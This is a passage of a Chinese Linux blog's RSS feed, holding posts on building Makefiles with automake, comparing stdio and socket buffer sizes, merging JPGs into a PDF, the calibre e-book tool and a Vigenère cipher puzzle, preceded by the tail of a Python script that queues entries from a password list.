        passwords.<span style="color: black;">put</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">pwd</span>.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#    passwords.join()</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=975</wfw:commentRss>
		</item>
		<item>
		<title>automake创建Makefile</title>
		<link>http://linux.cuit.edu.cn/?p=951</link>
		<comments>http://linux.cuit.edu.cn/?p=951#comments</comments>
		<pubDate>Sat, 10 Jul 2010 06:23:20 +0000</pubDate>
		<dc:creator>wushy</dc:creator>
		
		<category><![CDATA[学习笔记]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=951</guid>
		<description><![CDATA[autoconf/automake主要用于创建makefile，本文主要介绍一下automake的简单用法。
Ubuntu下安装automake:
sudo apt-get install automake
即可安装automake的相关工具。

使用automake主要会用到aclocal、autoscan、autoconf、autoheader和automake这几个命令。

首先简略的说一下用automake生成makefile的步骤：
（1）创建源代码文件，使用&#8221;autoscan&#8221;生成configure.scan文件，将其重命名为configure.ac，并做适当修改，然后使用&#8221;aclocal&#8221;命令生成aclocal.m4文件，使用&#8221;autoconf&#8221;命令由configure.ac和aclocal.m4文件生成configure文件。
（2）手工编辑Makefile.am文件，使用&#8221;automake&#8221;命令生成configure.in文件。
（3）手工编辑或由系统给定acconfig.h文件，使用&#8221;autoheader&#8221;命令生成config.h.in文件。
（4）使用&#8221;configure&#8221;命令由configure、configure.in和config.h.in文件生成Makefile文件。从而完成Makefile文件的创建过程。
下面用一个经典的hello world的例子说明automake的用法
1.编辑源文件
root@ubuntu:~# mkdir hello
root@ubuntu:~# cd hello
root@ubuntu:~/hello# vim hello.c
root@ubuntu:~/hello# cat hello.c
#include "stdio.h"
int main()
{
printf("hello world\n");
return 0;
}

2．使用Autoscan工具生成configure.ac文件
Autoscan工具用来扫描源代码以搜寻一般的可移植性问题，比如检查编译器、库和头文件等，并创建configure.scan文件，它会在给定目录及其子目录树中检查源文件，若没有给出目录，就在当前目录及其子目录树中进行检查。
root@ubuntu:~/hello# autoscan          //扫描源文件，生成configure.scan
root@ubuntu:~/hello# ls
autoscan.log  configure.scan  hello.c
root@ubuntu:~/hello# cat configure.scan
#                     [...]]]></description>
			<content:encoded><![CDATA[<p>autoconf/automake主要用于创建makefile，本文主要介绍一下automake的简单用法。</p>
<p><strong>Ubuntu下安装automake:</strong></p>
<pre>sudo apt-get install automake</pre>
<p>即可安装automake的相关工具。<br />
<span id="more-951"></span><br />
使用automake主要会用到aclocal、autoscan、autoconf、autoheader和automake这几个命令。<br />
<strong><br />
首先简略的说一下用automake生成makefile的步骤：</strong><br />
（1）创建源代码文件，使用&#8221;autoscan&#8221;生成configure.scan文件，将其重命名为configure.ac，并做适当修改，然后使用&#8221;aclocal&#8221;命令生成aclocal.m4文件，使用&#8221;autoconf&#8221;命令由configure.ac和aclocal.m4文件生成configure文件。<br />
（2）手工编辑Makefile.am文件，使用&#8221;automake&#8221;命令生成configure.in文件。<br />
（3）手工编辑或由系统给定acconfig.h文件，使用&#8221;autoheader&#8221;命令生成config.h.in文件。<br />
（4）使用&#8221;configure&#8221;命令由configure、configure.in和config.h.in文件生成Makefile文件。从而完成Makefile文件的创建过程。</p>
<p>下面用一个经典的hello world的例子说明automake的用法<br />
<strong>1.编辑源文件</strong></p>
<pre>root@ubuntu:~# mkdir hello
root@ubuntu:~# cd hello
root@ubuntu:~/hello# vim hello.c
root@ubuntu:~/hello# cat hello.c
#include "stdio.h"
int main()
{
printf("hello world\n");
return 0;
}</pre>
<p><strong><br />
2．使用Autoscan工具生成configure.ac文件</strong><br />
Autoscan工具用来扫描源代码以搜寻一般的可移植性问题，比如检查编译器、库和头文件等，并创建configure.scan文件，它会在给定目录及其子目录树中检查源文件，若没有给出目录，就在当前目录及其子目录树中进行检查。</p>
<pre>root@ubuntu:~/hello# autoscan          //扫描源文件，生成configure.scan
root@ubuntu:~/hello# ls
autoscan.log  configure.scan  hello.c
root@ubuntu:~/hello# cat configure.scan
#                                               -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.

AC_PREREQ([2.65])
AC_INIT([FULL-PACKAGE-NAME], [VERSION], [BUG-REPORT-ADDRESS])
AC_CONFIG_SRCDIR([hello.c])
AC_CONFIG_HEADERS([config.h])

# Checks for programs.
AC_PROG_CC

# Checks for libraries.

# Checks for header files.

# Checks for typedefs, structures, and compiler characteristics.

# Checks for library functions.

AC_OUTPUT</pre>
<p>下面给出本文件的简要说明（所有以&#8221;#&#8221;号开始的行为注释）：</p>
<p>（1）AC_PREREQ宏声明本文件要求的autoconf版本，本例使用的版本为2.59。</p>
<p>（2）AC_INIT宏用来定义软件的名称和版本等信息，&#8221;FULL-PACKAGE-NAME&#8221;为软件包名称，&#8221;VERSION&#8221;为软件版本号，&#8221;BUG-REPORT-ADDRESS&#8221;为BUG报告地址（一般为软件作者邮件地址）。</p>
<p>（3）AC_CONFIG_SRCDIR宏用来侦测所指定的源码文件是否存在，来确定源码目录的有效性。此处为当前目录下的hello.c。</p>
<p>（4）AC_CONFIG_HEADER宏用于生成config.h文件，以便autoheader使用。</p>
<p>（5）AC_PROG_CC用来指定编译器，如果不指定，选用默认gcc。</p>
<p>（6）AC_OUTPUT用来设定 configure 所要产生的文件，如果是makefile，configure会把它检查出来的结果带入makefile.in文件产生合适的makefile。使用Automake时，还需要一些其他的参数，这些额外的宏用aclocal工具产生。</p>
<p>此文件只是下面要使用的configure.ac文件的原型,当然我们还要对其做一定的修改：</p>
<pre>root@ubuntu:~/hello# mv configure.scan  configure.ac
root@ubuntu:~/hello# vim configure.ac
root@ubuntu:~/hello# cat configure.ac
#                                               -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.

AC_PREREQ([2.65])               //automake版本
AC_INIT(hello, 1.0, xx@163.com)             //设置软件包信息
AM_INIT_AUTOMAKE(hello, 1.0)               //这个需要手动添加，它是automake必备的宏
AC_CONFIG_SRCDIR([hello.c])                //源文件名
#AC_CONFIG_HEADERS([config.h])           //config.h 文件， 这个地方我们不需要config.h文件所以把它注释掉

# Checks for programs.
AC_PROG_CC

# Checks for libraries.

# Checks for header files.

# Checks for typedefs, structures, and compiler characteristics.

# Checks for library functions.

AC_OUTPUT(Makefile)                  //要输出的文件名</pre>
<p><strong>3．使用aclocal工具生成aclocal.m4</strong><br />
aclocal根据configure.ac生成aclocal.m4</p>
<pre>root@ubuntu:~/hello# aclocal
root@ubuntu:~/hello# ls
aclocal.m4  autom4te.cache  autoscan.log  configure.ac  hello.c</pre>
<p><strong>4．使用autoconf工具生成configure文件</strong><br />
将configure.ac中的宏展开，生成configure脚本。这个过程可能要用到aclocal.m4中定义的宏。</p>
<pre>root@ubuntu:~/hello# autoconf
root@ubuntu:~/hello# ls
aclocal.m4  autom4te.cache  autoscan.log  configure  configure.ac  hello.c</pre>
<p><strong>5．创建Makefile.am文件</strong><br />
Automake工具会根据configure.in中的参量把Makefile.am转换成Makefile.in文件。所以在使用automake之前我们需要自己创建Makefile.am文件</p>
<pre>root@ubuntu:~/hello# vim Makefile.am
root@ubuntu:~/hello# cat Makefile.am
AUTOMAKE_OPTIONS=foreign           //软件等级
bin_PROGRAMS=hello                  //可执行文件名
hello_SOURCES=hello.c              //源文件名</pre>
<p>其中：</p>
<p>（1）AUTOMAKE_OPTIONS为设置Automake的选项。由于GNU对自己发布的软件有严格的规范，比如必须附带许可证声明文件COPYING等，否则Automake执行时会报错。Automake提供了3种软件等级：foreign、gnu和gnits，供用户选择，默认等级为gnu。本例使需用foreign等级，它只检测必须的文件。</p>
<p>（2）bin_PROGRAMS定义要产生的执行文件名。如果要产生多个执行文件，每个文件名用空格隔开。</p>
<p>（3）hello_SOURCES定义&#8221;hello&#8221;这个执行程序所需要的原始文件。如果&#8221;hello&#8221;这个程序是由多个原始文件所产生的，则必须把它所用到的所有原始文件都列出来，并用空格隔开。例如：若目标体&#8221;hello&#8221;需要&#8221;hello.c&#8221;、&#8221;hello.h&#8221;两个依赖文件，则定义hello_SOURCES=hello.c hello.h。<br />
<strong><br />
6．使用Automake生成Makefile.in文件</strong><br />
下面使用Automake生成&#8221;Makefile.in&#8221;文件，使用选项&#8221;&#8211;add-missing&#8221;可以让Automake自动添加一些必需的脚本文件。如下所示：</p>
<pre>root@ubuntu:~/hello# automake --add-missing
configure.ac:6: installing `./install-sh'
configure.ac:6: installing `./missing'
Makefile.am: installing `./depcomp'
root@ubuntu:~/hello# ls
aclocal.m4      autoscan.log  configure.ac  hello.c     Makefile.am  missing
autom4te.cache  configure     depcomp       install-sh  Makefile.in</pre>
<p><strong>7.执行./configure 生成Makefile</strong></p>
<p><strong>8.测试<br />
</strong></p>
<pre>root@ubuntu:~/hello# ls
aclocal.m4      config.log     configure.ac  hello.c     Makefile     missing
autom4te.cache  config.status  depcomp       hello.o     Makefile.am
autoscan.log    configure      hello         install-sh  Makefile.in
root@ubuntu:~/hello# ./hello
hello world</pre>
<p>使用&#8221;make dist&#8221;命令将程序和相关的文档打包为一个压缩文档以供发布。</p>
<pre>root@ubuntu:~/hello# make dist
root@ubuntu:~/hello# ls
aclocal.m4      config.status  hello             install-sh   missing
autom4te.cache  configure      hello-1.0.tar.gz  Makefile
autoscan.log    configure.ac   hello.c           Makefile.am
config.log      depcomp        hello.o           Makefile.in

hello-1.0.tar.gz为打包过后的文件</pre>
<p><strong>下面是另一种文档结构</strong></p>
<pre>
|-- conf
|   `-- test.conf
`-- src
    |-- test1.c
    |-- test2.c
    `-- test2.h
</pre>
<p>src为源文件目录，conf为配置文件的目录。创建Makefile的方式和上面有一点点不同</p>
<p><strong>1.执行autoscan命令</strong></p>
<pre>root@ubuntu:~/test# autoscan
root@ubuntu:~/test# ls
autoscan.log  conf  configure.scan  src
root@ubuntu:~/test# cat configure.scan
#                                               -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.

AC_PREREQ([2.65])
AC_INIT([FULL-PACKAGE-NAME], [VERSION], [BUG-REPORT-ADDRESS])
AC_CONFIG_SRCDIR([src/test2.h])
AC_CONFIG_HEADERS([config.h])

# Checks for programs.
AC_PROG_CC

# Checks for libraries.

# Checks for header files.
AC_CHECK_HEADERS([stdlib.h string.h])

# Checks for typedefs, structures, and compiler characteristics.

# Checks for library functions.

AC_OUTPUT</pre>
<p>修改configure.scan为configure.ac</p>
<pre>root@ubuntu:~/test# mv configure.scan configure.ac
root@ubuntu:~/test# vim configure.ac
root@ubuntu:~/test# cat configure.ac
#                                               -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.

AC_PREREQ([2.65])
AC_INIT(test, 1.0)
AM_INIT_AUTOMAKE(test, 1.0)
AC_CONFIG_SRCDIR([src/test2.h])

# Checks for programs.
AC_PROG_CC

# Checks for libraries.
AC_CHECK_LIB(pthread, pthread_create)  //pthread为链接库名字， pthread_create为库中的一个函数

# Checks for header files.
AC_CHECK_HEADERS(stdlib.h string.h pthread.h) 

# Checks for typedefs, structures, and compiler characteristics.

# Checks for library functions.

AC_OUTPUT(Makefile
		    src/Makefile
		    conf/Makefile)             //每一个目录需要输出一个Makefile文件</pre>
<p><strong>2．使用aclocal工具生成aclocal.m4</strong><br />
<strong>3．使用autoconf工具生成configure文件</strong><br />
<strong>4.  创建Makefile.am</strong><br />
   在顶层目录创建的Makefile.am的内容如下</p>
<pre>root@ubuntu:~/test# vim Makefile.am
root@ubuntu:~/test# cat Makefile.am
SUBDIRS= src conf</pre>
<p> 在src目录下创建的Makefile.am内容如下</p>
<pre>root@ubuntu:~/test# cd src/
root@ubuntu:~/test/src# vim Makefile.am
root@ubuntu:~/test/src# cat Makefile.am
bin_PROGRAMS= test
test_SOURCES= test1.c test2.c</pre>
<p>在conf目录下创建的Makefile.am内容如下</p>
<pre>root@ubuntu:~/test/conf# vim Makefile.am
root@ubuntu:~/test/conf# cat Makefile.am
configdir = /etc             //这个数据文件将要移动到的目录
config_DATA = test.conf    //数据文件名，如果有多个文件则这样写config_DATA = test1.dat test2.dat</pre>
<p><strong>5．使用Automake生成Makefile.in文件</strong></p>
<pre>root@ubuntu:~/test# automake --add-missing
Makefile.am: required file `./NEWS' not found
Makefile.am: required file `./README' not found
Makefile.am: required file `./AUTHORS' not found
Makefile.am: required file `./ChangeLog' not found</pre>
<p>这里出现了一个问题，NEWS， README这几个文件不存在， 那么我们就手工创建他们</p>
<pre>root@ubuntu:~/test# touch NEWS README AUTHORS ChangeLog</pre>
<p>再次执行automake</p>
<pre>root@ubuntu:~/test# automake</pre>
<p><strong>6.后面的步骤就和上面的例子一样了</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=951</wfw:commentRss>
		</item>
		<item>
		<title>Linux下各种buffer的比较</title>
		<link>http://linux.cuit.edu.cn/?p=919</link>
		<comments>http://linux.cuit.edu.cn/?p=919#comments</comments>
		<pubDate>Sun, 20 Jun 2010 06:33:22 +0000</pubDate>
		<dc:creator>小高子</dc:creator>
		
		<category><![CDATA[学习笔记]]></category>

		<category><![CDATA[脚本、编程]]></category>

		<category><![CDATA[buffer]]></category>

		<category><![CDATA[C]]></category>

		<category><![CDATA[socket]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=919</guid>
		<description><![CDATA[

类型
默认大小[1]
存储位置
操作函数
备注


标准I/O流[2]
File
BUFSIZ[3] (8192) 或者 st_blksize[4] (4096)
User Space
stat(2), setvbuf(), fflush()
每一个标准I/O流都有一个buffer


stdin
stdin->_IO_buf_end[5] - stdin->_IO_buf_base (1024)


stdout
stdout->_IO_buf_end - stdout->_IO_buf_base (1024)


stderr
1


TCP
Receive Buffer
SO_RCVBUF[6] (87380)
Kernel Space
getsockopt(), setsockopt()
每一个socket都有两个buffer


Send Buffer
SO_SNDBUF (16384)


UDP[7]
Receive Buffer
SO_RCVBUF (114688)


Send Buffer
SO_SNDBUF (114688)



脚注:

括号中的数字为我电脑上的实际大小, 单位为字节. 测试环境: Ubuntu 9.10, 内核版本2.6.31, GNU C library版本2.10.1, 文件系统ext4.
标准I/O流buffer的默认大小是由具体的C函数库实现决定的, 比如GNU C library就使用st_blksize作为默认大小. 每个流的buffer是在创建好流之后, 第一次调用标准I/O库函数对流进行操作时通过malloc()函数分配的. (参见《APUE》5.4节与5.12节)
BUFSIZ是定义在&#60;stdio.h&#62;头文件中的宏.
st_blksize是“struct stat”中的成员, 通过stat(2)函数获得.
_IO_buf_end以及_IO_buf_base是“struct _IO_FILE”中的成员, “struct _IO_FILE”的定义通常在&#60;libio.h&#62;中. 其实在&#60;stdio.h&#62;中可以看到“typedef struct _IO_FILE FILE;”, 也就是我们经常使用的FILE指针指向的结构体了.
SO_RCVBUF是socket的选项名, 可以通过getsockopt()函数获得大小, 以及setsockopt()设置大小. 后同. (参见《UNP》2.11节与7.5节)
UDP类型的socket实际上是不存在buffer的, 这里的大小只是用来约束数据报的最大长度. (参见《UNP》2.11节)

参考资料:

W. [...]]]></description>
			<content:encoded><![CDATA[<table border="0" cellspacing="0" width="90%" style="line-height: 200%; border-collapse: collapse; border: 1px solid #3366CC; vertical-align: middle;">
<tr>
<th colspan="2" style="border: 1px solid #3366CC; background-color: #E5ECF9; background-image: none; color: #000000; font-weight: bold; text-align: center;">类型</th>
<th style="border: 1px solid #3366CC; background-color: #E5ECF9; background-image: none; color: #000000; font-weight: bold; text-align: center;">默认大小<sup>[1]</sup></th>
<th style="border: 1px solid #3366CC; background-color: #E5ECF9; background-image: none; color: #000000; font-weight: bold; text-align: center;">存储位置</th>
<th style="border: 1px solid #3366CC; background-color: #E5ECF9; background-image: none; color: #000000; font-weight: bold; text-align: center;">操作函数</th>
<th style="border: 1px solid #3366CC; background-color: #E5ECF9; background-image: none; color: #000000; font-weight: bold; text-align: center;">备注</th>
</tr>
<tr>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">标准I/O流<sup>[2]</sup></td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">File</td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>BUFSIZ</code><sup>[3]</sup> (8192) 或者 <code>st_blksize</code><sup>[4]</sup> (4096)</td>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">User Space</td>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>stat</code>(2), <code>setvbuf()</code>, <code>fflush()</code></td>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">每一个标准I/O流都有一个buffer</td>
</tr>
<tr>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>stdin</code></td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>stdin->_IO_buf_end</code><sup>[5]</sup><code> - stdin->_IO_buf_base</code> (1024)</td>
</tr>
<tr>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>stdout</code></td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>stdout->_IO_buf_end - stdout->_IO_buf_base</code> (1024)</td>
</tr>
<tr>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>stderr</code></td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">1</td>
</tr>
<tr>
<td rowspan="2" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">TCP</td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">Receive Buffer</td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>SO_RCVBUF</code><sup>[6]</sup> (87380)</td>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">Kernel Space</td>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>getsockopt()</code>, <code>setsockopt()</code></td>
<td rowspan="4" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">每一个socket都有两个buffer</td>
</tr>
<tr>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">Send Buffer</td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>SO_SNDBUF</code> (16384)</td>
</tr>
<tr>
<td rowspan="2" style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">UDP<sup>[7]</sup></td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">Receive Buffer</td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>SO_RCVBUF</code> (114688)</td>
</tr>
<tr>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;">Send Buffer</td>
<td style="border: 1px solid #3366CC; padding: 6px 12px; background-color: #FFFFFF;"><code>SO_SNDBUF</code> (114688)</td>
</tr>
</table>
<p><span id="more-919"></span><br />
脚注:</p>
<ol>
<li>括号中的数字为我电脑上的实际大小, 单位为字节. 测试环境: Ubuntu 9.10, 内核版本2.6.31, GNU C library版本2.10.1, 文件系统ext4.</li>
<li>标准I/O流buffer的默认大小是由具体的C函数库实现决定的, 比如GNU C library就使用<code>st_blksize</code>作为默认大小. 每个流的buffer是在创建好流之后, 第一次调用标准I/O库函数对流进行操作时通过<code>malloc()</code>函数分配的. (参见《APUE》5.4节与5.12节)</li>
<li><code>BUFSIZ</code>是定义在<code>&lt;stdio.h&gt;</code>头文件中的宏.</li>
<li><code>st_blksize</code>是“<code>struct stat</code>”中的成员, 通过<code>stat</code>(2)函数获得.</li>
<li><code>_IO_buf_end</code>以及<code>_IO_buf_base</code>是“<code>struct _IO_FILE</code>”中的成员, “<code>struct _IO_FILE</code>”的定义通常在<code>&lt;libio.h&gt;</code>中. 其实在<code>&lt;stdio.h&gt;</code>中可以看到“<code>typedef struct _IO_FILE FILE;</code>”, 也就是我们经常使用的<code>FILE</code>指针指向的结构体了.</li>
<li><code>SO_RCVBUF</code>是socket的选项名, 可以通过<code>getsockopt()</code>函数获得大小, 以及<code>setsockopt()</code>设置大小. 后同. (参见《UNP》2.11节与7.5节)</li>
<li>UDP类型的socket实际上是不存在buffer的, 这里的大小只是用来约束数据报的最大长度. (参见《UNP》2.11节)</li>
</ol>
<p>参考资料:</p>
<ol>
<li>W. Richard Stevens and Stephen A. Rago. <i>Advanced Programming in the UNIX Environment, 2/e.</i> Addison-Wesley Professional, June 17, 2005, ISBN 0201433079.</li>
<li>W. Richard Stevens, Bill Fenner, and Andrew M. Rudoff. <i>UNIX Network Programming, Volume 1: The Sockets Networking API, 3/e.</i> Addison-Wesley Professional, November 21, 2003, ISBN 0131411551.</li>
<li>Helali Bhuiyan, Mark McGinley, Tao Li and Malathi Veeraraghavan. <i>TCP Implementation in Linux: A Brief Tutorial.</i> Available online from <a href="http://www.ece.virginia.edu/mv/research/DOE09/publications/TCPlinux.pdf">http://www.ece.virginia.edu/mv/research/DOE09/publications/TCPlinux.pdf</a></li>
</ol>
<p>P.S. 如有不当之处, 还望指教.</p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=919</wfw:commentRss>
		</item>
		<item>
		<title>转换多个JPG文件到PDF文件</title>
		<link>http://linux.cuit.edu.cn/?p=908</link>
		<comments>http://linux.cuit.edu.cn/?p=908#comments</comments>
		<pubDate>Sat, 08 May 2010 14:24:21 +0000</pubDate>
		<dc:creator>小高子</dc:creator>
		
		<category><![CDATA[桌面应用]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=908</guid>
		<description><![CDATA[最近需要将大量JPG格式的图片全部转换到一个PDF文件里, Google之后发现Window$下清一色的收费软件, 即使有试用版, 也会带有很多限制. 而Linux下则从来都不缺乏这种实用的小工具, 在bitPrison.net的一篇文章中介绍了通过ImageMagick中的convert组件进行转换的方法, 经过尝试, 发现这种方法效率很低, 并且会占用很高的CPU. 该篇文章后面的评论提供了一种更优的方法, 使用PDFjam包中的pdfjoin命令完成, 具体步骤如下:


$ rename 's/\.jpg$/\.pdf/' *.jpg
$ pdfjoin --outfile alist.pdf *.pdf

这里先将所有JPG文件重命名为PDF文件, 接着便可使用pdfjoin命令进行合并.
其实GNOME或者KDE下的程序都可以直接将图片打印为PDF文件, 比如使用Eye of GNOME打开图片之后, 选择打印就会出现“Print to File”选项, 这种方法适用于少量的或者临时性的转换需求.
]]></description>
			<content:encoded><![CDATA[<p>最近需要将大量JPG格式的图片全部转换到一个PDF文件里, Google之后发现Window$下清一色的收费软件, 即使有试用版, 也会带有很多限制. 而Linux下则从来都不缺乏这种实用的小工具, 在bitPrison.net的<a href="http://bitprison.net/jpg_to_pdf">一篇文章</a>中介绍了通过<a href="http://www.imagemagick.org/">ImageMagick</a>中的<code>convert</code>组件进行转换的方法, 经过尝试, 发现这种方法效率很低, 并且会占用很高的CPU. 该篇文章后面的评论提供了一种更优的方法, 使用PDFjam包中的<code>pdfjoin</code>命令完成, 具体步骤如下:<br />
<span id="more-908"></span></p>
<pre>
$ rename 's/\.jpg$/\.pdf/' *.jpg
$ pdfjoin --outfile alist.pdf *.pdf
</pre>
<p>这里先将所有JPG文件重命名为PDF文件, 接着便可使用<code>pdfjoin</code>命令进行合并.</p>
<p>其实GNOME或者KDE下的程序都可以直接将图片打印为PDF文件, 比如使用Eye of GNOME打开图片之后, 选择打印就会出现“Print to File”选项, 这种方法适用于少量的或者临时性的转换需求.</p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=908</wfw:commentRss>
		</item>
		<item>
		<title>calibre: EPUB书籍转换工具</title>
		<link>http://linux.cuit.edu.cn/?p=902</link>
		<comments>http://linux.cuit.edu.cn/?p=902#comments</comments>
		<pubDate>Tue, 16 Mar 2010 13:36:55 +0000</pubDate>
		<dc:creator>小高子</dc:creator>
		
		<category><![CDATA[桌面应用]]></category>

		<category><![CDATA[EPUB]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=902</guid>
		<description><![CDATA[EPUB是由IDPF (International Digtial Publishing Forum) 制定的电子书官方标准, 目前在很多平台上都有广泛应用, 尤其是移动设备. 大部分的移动设备都支持显示EPUB标准的电子书, 如iPad、iPhone、Android系列手机等, 不过也有例外, 那就是大名鼎鼎的Kindle. 目前EPUB书籍的种类还不是很多, 因此需要一个转换工具来帮助从其它常用的格式转换过来.

calibre就具备了这样的功能, 不过calibre的能力可不止如此, 根据官方的介绍, calibre拥有:

强大的书籍管理系统
将各种格式的书籍转换为电子书格式
同步到电子书阅读设备
从网上下载新闻再转换为电子书格式
直接从网上的内容服务器获取你收藏的书籍

calibre的使用很是简便, 粗旷的界面设计让人只需要点几下鼠标就可以完成转换工作.

目前calibre支持Linux、Mac和Window$三种平台, Debian、Gentoo、Ubuntu、Fedora的官方仓库中也有相应的安装文件, 其它Linux用户可以参考这个页面.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/EPUB">EPUB</a>是由IDPF (International Digtial Publishing Forum) 制定的电子书官方标准, 目前在很多平台上都有广泛应用, 尤其是移动设备. 大部分的移动设备都支持显示EPUB标准的电子书, 如iPad、iPhone、Android系列手机等, 不过也有例外, 那就是大名鼎鼎的Kindle. 目前EPUB书籍的种类还不是很多, 因此需要一个转换工具来帮助从其它常用的格式转换过来.<br />
<span id="more-902"></span><br />
<a href="http://calibre-ebook.com/">calibre</a>就具备了这样的功能, 不过calibre的能力可不止如此, 根据<a href="http://calibre-ebook.com/about">官方的介绍</a>, calibre拥有:</p>
<ul>
<li>强大的书籍管理系统</li>
<li>将各种格式的书籍转换为电子书格式</li>
<li>同步到电子书阅读设备</li>
<li>从网上下载新闻再转换为电子书格式</li>
<li>直接从网上的内容服务器获取你收藏的书籍</li>
</ul>
<p>calibre的使用很是简便, 粗旷的界面设计让人只需要点几下鼠标就可以完成转换工作.</p>
<p><img src="http://linux.cuit.edu.cn/tos-content/2010/03/calibre.png" alt="calibre" title="calibre" width="410" height="409" class="size-full wp-image-903" /></p>
<p>目前calibre支持Linux、Mac和Window$三种平台, Debian、Gentoo、Ubuntu、Fedora的官方仓库中也有相应的安装文件, 其它Linux用户可以参考<a href="http://calibre-ebook.com/download_linux">这个页面</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=902</wfw:commentRss>
		</item>
		<item>
		<title>脚本挑战＿Vigenere加密解密</title>
		<link>http://linux.cuit.edu.cn/?p=899</link>
		<comments>http://linux.cuit.edu.cn/?p=899#comments</comments>
		<pubDate>Tue, 16 Mar 2010 04:39:37 +0000</pubDate>
		<dc:creator>renewjoy</dc:creator>
		
		<category><![CDATA[脚本、编程]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[script]]></category>

		<category><![CDATA[vigenere]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=899</guid>
		<description><![CDATA[这是一个很古老的古典加密算法。不过，在这儿呢，我做了少许修改。
示例：
码表：abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
假设明文为：HelloWorldREnewjoy
密钥为：abc

加密方法：
密文的第i位为：将明文的第i位在码表中向后移动x位，其中x等于密钥的第i位（密钥可循环使用）的asci码值-97。
如果移动到码表最后，则将码表循环使用。
（i from 0 to 码表.length -1)
说明：
1、明文区分大小字。
2、密钥都为小写字母。
按上面的加密算法：最后的结果为：HfnlpYosndSGnfyjpA
现有如下信息：
码表：abcde7fghi0jklmnopq6r1stuvwxy2zABCDEF3GHIJ4KLMN8OP6QRSTUVWX9YZ
密文：IL0vey0uMor4Than1canSay
密钥：oyeagle
未其明文？
也许你会用比手功更好的方法来做，那就是－－写个脚本，这可是Linux的强项。
]]></description>
			<content:encoded><![CDATA[<p>这是一个很古老的古典加密算法。不过，在这儿呢，我做了少许修改。</p>
<p>示例：</p>
<p>码表：abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</p>
<p>假设明文为：HelloWorldREnewjoy</p>
<p>密钥为：abc</p>
<p><span id="more-899"></span></p>
<p>加密方法：</p>
<p>密文的第i位为：将明文的第i位在码表中向后移动x位，其中x等于密钥的第i位（密钥可循环使用）的asci码值-97。</p>
<p>如果移动到码表最后，则将码表循环使用。</p>
<p>（i from 0 to 码表.length -1)</p>
<p>说明：</p>
<p>1、明文区分大小字。</p>
<p>2、密钥都为小写字母。</p>
<p>按上面的加密算法：最后的结果为：HfnlpYosndSGnfyjpA</p>
<p>现有如下信息：</p>
<p>码表：abcde7fghi0jklmnopq6r1stuvwxy2zABCDEF3GHIJ4KLMN8OP6QRSTUVWX9YZ</p>
<p>密文：IL0vey0uMor4Than1canSay</p>
<p>密钥：oyeagle</p>
<p>未其明文？</p>
<p>也许你会用比手功更好的方法来做，那就是－－写个脚本，这可是Linux的强项。</p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=899</wfw:commentRss>
		</item>
		<item>
		<title>Configure Network Cards on BT4</title>
		<link>http://linux.cuit.edu.cn/?p=895</link>
